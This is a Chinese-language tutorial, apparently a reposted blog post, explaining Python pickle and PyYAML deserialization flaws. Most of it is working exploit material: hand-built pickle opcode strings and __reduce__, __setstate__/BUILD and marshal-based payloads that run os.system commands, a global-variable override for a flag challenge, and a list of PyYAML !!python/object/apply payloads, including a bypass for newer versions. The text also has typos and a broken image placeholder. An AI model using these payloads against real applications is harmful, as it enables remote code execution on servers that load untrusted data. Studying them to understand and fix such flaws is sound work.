推薦學習:
pickle.dumps()
將物件序列化為字串、pickle.dump()
將物件序列化後的字串儲存為檔案pickle.loads()
將字串反序列化為物件、pickle.load()
從檔案中讀取資料反序列化使用
dumps()
與loads()
時可以使用protocol
引數指定協定版本協定有0,1,2,3,4,5號版本,不同的 python 版本預設的協定版本不同。這些版本中,0號是最可讀的,之後的版本為了優化加入了不可列印字元
協定是向下相容的,0號版本也可以直接使用
None
、 True
和 False
__dict__
屬性值或 __getstate__()
函數的返回值可以被序列化的類(詳見官方檔案的Pickling Class Instances)pickle.load()和pickle.loads()方法的底層實現是基於 _Unpickler()方法來反序列化
在反序列化過程中,_Unpickler
(以下稱為機器吧)維護了兩個東西:棧區和儲存區
為了研究它,需要利用一個偵錯程式 pickletools
[外連圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-wUDq6S9E-1642832623478)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220121114238511.png)]
從圖中可以看出,序列化後的字串實際上是一串 PVM(Pickle Virtual Machine) 指令碼,指令碼以棧的形式儲存、解析
完整PVM指令集可以在 pickletools.py
中檢視,不同協定版本使用的指令集略有不同
上圖中的指令碼可以翻譯成:
0: \x80 PROTO 3 # 協定版本 2: ] EMPTY_LIST # 將空列表推入棧 3: ( MARK # 將標誌推入棧 4: X BINUNICODE 'a' # unicode字元 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) # 將3號標準之後的資料推入列表 23: . STOP # 彈出棧中資料,結束 highest protocol among opcodes = 2
指令集中有幾個重要的指令碼:
xxx.xxx
的值__reduce()
返回的第一個值作為可執行函數,第二個值為引數,執行函數__setstate__
或更新__dict__
完成構建物件,如果物件具有__setstate__
方法,則呼叫anyobject .__setstate__(引數)
;如果無__setstate__
方法,則通過anyobject.__dict__.update(argument)
更新值(更新可能會產生變數覆蓋)一個更復雜的例子:
import pickleimport pickletoolsclass a_class(): def __init__(self): self.age = 24 self.status = 'student' self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 優化一個已經被打包的字串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反組合一個已經被打包的字串pickletools.dis(a_class_pickle)
0: \x80 PROTO 3 2: c GLOBAL '__main__ a_class' 20: ) EMPTY_TUPLE # 將空元組推入棧 21: \x81 NEWOBJ # 表示前面的棧的內容為一個類(__main__ a_class),之後為一個元組(20行推入的元組),呼叫cls.__new__(cls, *args)(即用元組中的引數建立一個範例,這裡元組實際為空) 22: } EMPTY_DICT # 將空字典推入棧 23: ( MARK 24: X BINUNICODE 'age' 32: K BININT1 24 34: X BINUNICODE 'status' 45: X BINUNICODE 'student' 57: X BINUNICODE 'list' 66: ] EMPTY_LIST 67: ( MARK 68: X BINUNICODE 'a' 74: X BINUNICODE 'b' 80: X BINUNICODE 'c' 86: e APPENDS (MARK at 67) 87: u SETITEMS (MARK at 23) # 將將從23行開始傳入的值以鍵值對新增到現有字典中 88: b BUILD # 更新字典完成構建 89: . STOP highest protocol among opcodes = 2
與函數執行相關的 PVM 指令集有三個: R
、 i
、 o
,所以我們可以從三個方向進行構造:
R
:
b'''cos system (S'whoami' tR.'''
i
:
b'''(S'whoami' ios system .'''
o
:
b'''(cos system S'whoami' o.'''
__reduce()__命令執行
__recude()__
魔法函數會在反序列化過程結束時自動呼叫,並返回一個元組。其中,第一個元素是一個可呼叫物件,在建立該物件的最初版本時呼叫,第二個元素是可呼叫物件的引數,使得反序列化時可能造成RCE漏洞
觸發
__reduce()_
的指令碼為``R,**只要在序列化中的字串中存在
R指令**,
reduce方法就會被執行,無論正常程式中是否寫明瞭
reduce`方法pickle 在反序列化時會自動 import 未引入的模組,所以 python 標準庫中的所有程式碼執行、命令執行函數都可使用,但生成
payload
的 python 版本最好與目標一致
例:
class a_class(): def __reduce__(self): return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.滿足返回一個元組,元組中至少有兩個引數# 2.第一個引數是被呼叫函數 : os.system()# 3.第二個引數是一個元組:('whoami',),元組中被呼叫的引數 'whoami' 為被呼叫函數的引數# 4. 因此序列化時被解析執行的程式碼是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.' 0: \x80 PROTO 3 2: c GLOBAL 'nt system' 13: X BINUNICODE 'whoami' 24: \x85 TUPLE1 25: R REDUCE 26: . STOP highest protocol among opcodes = 2
將該字串反序列化後將會執行命令 os.system('whoami')
__reduce()_
利用的是 R 指令碼,造成REC,而利用 GLOBAL = b’c’ 指令碼則可以觸發全域性變數覆蓋
# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag(): def __init__(self, a): self.a = a your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a: print('flag:{}'.format(secret_flag.a))else: print('No!')
在不知道 secret.a 的情況下要如何獲得 flag 呢?
先嚐試獲得 flag() 的序列化字串:
class flag(): def __init__(self, a): self.a = a new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ Flag' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: q BINPUT 1 23: } EMPTY_DICT 24: q BINPUT 2 26: X BINUNICODE 'a' 32: q BINPUT 3 34: X BINUNICODE 'A' 40: q BINPUT 4 42: s SETITEM 43: b BUILD 44: . STOP highest protocol among opcodes = 2
可以看到,在34行進行了傳參,將變數 A 傳入賦值給了a。若將 A 修改為全域性變數 secret.a,即將 X BINUNICODE 'A'
改為 c GLOBAL 'secret a'
(X\x01\x00\x00\x00A
改為 csecret\na\n
)。將該字串反序列化後,self.a 的值等於 secret.a 的值,成功獲取 flag
除了改寫 PVM 指令的方式外,還可以使用 exec 函數造成變數覆蓋:
test1 = 'test1'test2 = 'test2'class A: def __reduce(self): retutn exec, "test1='asd'\ntest2='qwe'"
通過BUILD指令與GLOBAL指令的結合,可以把現有類改寫為os.system
或其他函數
假設某個類原先沒有__setstate__
方法,我們可以利用{'__setstate__': os.system}
來BUILE這個物件
BUILD指令執行時,因為沒有__setstate__
方法,所以就執行update,這個物件的__setstate__
方法就改為了我們指定的os.system
接下來利用'whoami'
來再次BUILD這個物件,則會執行setstate('whoami')
,而此時__setstate__
已經被我們設定為os.system
,因此實現了RCE
例:
程式碼中存在一個任意類:
class payload: def __init__(self): pass
根據這個類構造 PVM 指令:
0: \x80 PROTO 3 2: c GLOBAL '__main__ payload' 17: q BINPUT 0 19: ) EMPTY_TUPLE 20: \x81 NEWOBJ 21: } EMPTY_DICT # 使用BUILD,先放入一個字典 22: ( MARK # 放值前先放一個標誌 23: V UNICODE '__setstate__' # 放鍵值對 37: c GLOBAL 'nt system' 48: u SETITEMS (MARK at 22) 49: b BUILD # 第一次BUILD 50: V UNICODE 'whoami' # 加引數 58: b BUILD # 第二次BUILD 59: . STOP
將上述 PVM 指令改寫成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.'
,使用 piclke.loads()
反序列化後成功執行命令
Marshal
模組造成任意函數執行pickle 不能將程式碼物件序列化,但 python 提供了一個可以序列化程式碼物件的模組 Marshal
但是序列化的程式碼物件不再能使用 __reduce()_
呼叫,因為__reduce__
是利用呼叫某個可呼叫物件並傳遞引數來執行的,而我們這個函數本身就是一個可呼叫物件 ,我們需要執行它,而不是將他作為某個函數的引數。隱藏需要利用 typres
模組來動態的建立匿名函數
import marshalimport typesdef code(): import os print('hello') os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__)) # python2為 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')() # 利用types動態建立匿名函數並執行
在 pickle
上使用:
import pickle# 將types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改寫為 PVM 的形式s = b"""ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE=' tRtRc__builtin__ globals (tRS'' tR(tR."""pickle.loads(s) # 字串轉換為 bytes
yaml
是一種標記類語言,類似與 xml
和 json
,各個支援yaml格式的語言都會有自己的實現來進行 yaml
格式的解析(讀取和儲存),PyYAML
就是 yaml
的 python 實現
在使用 PyYAML
庫時,若使用了 yaml.load()
而不是 yaml.safe_load()
函數解析 yaml
檔案,則會導致反序列化漏洞的產生
PyYAML
有針對 python 語言特有的標籤解析的處理常式對應列表,其中有三個和物件相關:
!!python/object: => Constructor.construct_python_object!!python/object/apply: => Constructor.construct_python_object_apply!!python/object/new: => Constructor.construct_python_object_new
例如:
# Test.pyimport yamlimport osclass test: def __init__(self): os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
該程式碼執行後,會生成 sample.yml
,並寫入 !!python/object:__main__.test {}
將檔案內容改為 !!python/object:Test.test {}
再使用 yaml.load()
解析該 yaml
檔案:
import yaml yaml.load(file('sample.yml', 'w'))
命令成功執行。但是命令的執行依賴於 Test.py
的存在,因為 yaml.load()
時會根據yml檔案中的指引去讀取 Test.py
中的 test
這個物件(類)。如果刪除 Test.py
,也將執行失敗
PyYAML
< 5.1想要消除依賴執行命令,就需要將其中的類或者函數換成 python 標準庫中的類或函數,並使用另外兩種 python 標籤:
# 該標籤可以在 PyYAML 解析再入 YAML 資料時,動態的建立 Python 物件!!python/object/apply: => Constructor.construct_python_object_apply# 該標籤會呼叫 apply!!python/object/new: => Constructor.construct_python_object_new
利用這兩個標籤,就可以構造任意 payload:
!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
PyYAML
>= 5.1在版本 PyYAML
>= 5.1 後,限制了反序列化內建類方法以及匯入並使用不存在的反序列化程式碼,並且在使用 load()
方法時,需要加上 loader
引數,直接使用時會爆出安全警告
loader的四種型別:
- BaseLoader:僅載入最基本的YAML
- SafeLoader:安全地載入YAML語言的子集,建議用於載入不受信任的輸入(safe_load)
- FullLoader:載入完整的YAML語言,避免任意程式碼執行,這是當前(PyYAML 5.1)預設載入器呼叫yaml.load(input) (出警告後)(full_load)
- UnsafeLoader(也稱為Loader向後相容性):原始的Loader程式碼,可以通過不受信任的資料輸入輕鬆利用(unsafe_load)
在高版本中之前的 payload 已經失效,但可以使用 subporcess.getoutput()
方法繞過檢測:
!!python/object/apply:subprocess.getoutput - whoami
在最新版本上,命令執行成功
ruamel.yaml的用法和PyYAML基本一樣,並且預設支援更新的YAML1.2版本
在ruamel.yaml中反序列化帶引數的序列化類方法,有以下方法:
我們可以使用上述任何方法,甚至我們也可以通過提供資料來反序列化來直接呼叫load(),它將完美地反序列化它,並且我們的類方法將被執行
推薦學習:
以上就是帶你搞懂Python反序列化的詳細內容,更多請關注TW511.COM其它相關文章!